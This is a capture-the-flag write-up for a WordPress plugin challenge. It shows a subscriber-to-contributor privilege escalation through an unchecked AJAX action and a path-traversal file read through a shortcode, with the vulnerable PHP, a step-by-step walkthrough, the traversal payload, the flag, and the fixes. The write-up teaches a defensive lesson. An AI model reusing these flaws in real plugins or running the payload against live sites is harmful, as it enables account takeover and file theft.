Cover Image

Patchstack WCEU CTF – Open Contributions


Challenge Setup

The downloadable archive contains the plugin and a tweaked wp-login.php, plus the flag at the container root: download

.
β”œβ”€β”€ flag.txt
β”œβ”€β”€ open-contributions
β”‚   β”œβ”€β”€ assets/js/plugin-ajax.js
β”‚   └── includes
β”‚       β”œβ”€β”€ class-ajax-handler.php
β”‚       β”œβ”€β”€ class-shortcodes.php
β”‚       └── …(other helper files)
└── wp-login.php

The instance runs the plugin inside stock WordPress; registration is open.


Bug #1 β€” Subscriber ➜ Contributor

// open-contributions/includes/class-ajax-handler.php
add_action('wp_ajax_promote_to_contributor', [__CLASS__, 'handleRolePromotion']);

public static function handleRolePromotion() {
    $user = wp_get_current_user();
    if ($user && in_array('subscriber', $user->roles)) {
        $user->set_role('contributor');   // βœ— no nonce / capability check
        wp_send_json_success('User elevated …');
    }
    wp_send_json_error('Role promotion failed.');
}

Any logged-in subscriber posts action=promote_to_contributor β†’ instant contributor.

AJAX escalation request
Figure 0x1 –

Bug #2 β€” LFI Shortcode

// open-contributions/includes/class-shortcodes.php
add_shortcode('preview_file', [__CLASS__, 'renderPreview']);

public static function renderPreview($atts) {
    $atts     = shortcode_atts(['path' => ''], $atts);
    $filepath = ABSPATH . sanitize_text_field($atts['path']); // ../ survives
    if (file_exists($filepath)) {
        return '<pre>' . esc_html(file_get_contents($filepath)) . '</pre>';
    }
    return '<strong>File not found.</strong>';
}

Because sanitize_text_field() leaves traversal intact, [preview_file path="../../../flag.txt"] ultimately includes /flag.txt.

Shortcode with LFI
Figure 0x2 –

Exploit Walkthrough

  1. Register a new account (role: subscriber).

  2. Promote yourself via POST /wp-admin/admin-ajax.php?action=promote_to_contributor β€” cookies only.

  3. As a contributor, open the post editor, drop the shortcode

    [preview_file path="../../../flag.txt"]
    

    into a draft, hit Preview.

WordPress renders the draft, executes the shortcode, and the flag appears inside the preview.

Flag in preview
Figure 0x3 –
CTF{CONTRIBUTOR_TO_THE_BACKDOOR_0z933}

Conclusion

Two missing lines β€” one check_ajax_referer() and one realpath()/whitelist check β€” turn an optimistic β€œanyone can contribute” idea into a full file-read primitive. From zero knowledge to /flag.txt in under a minute.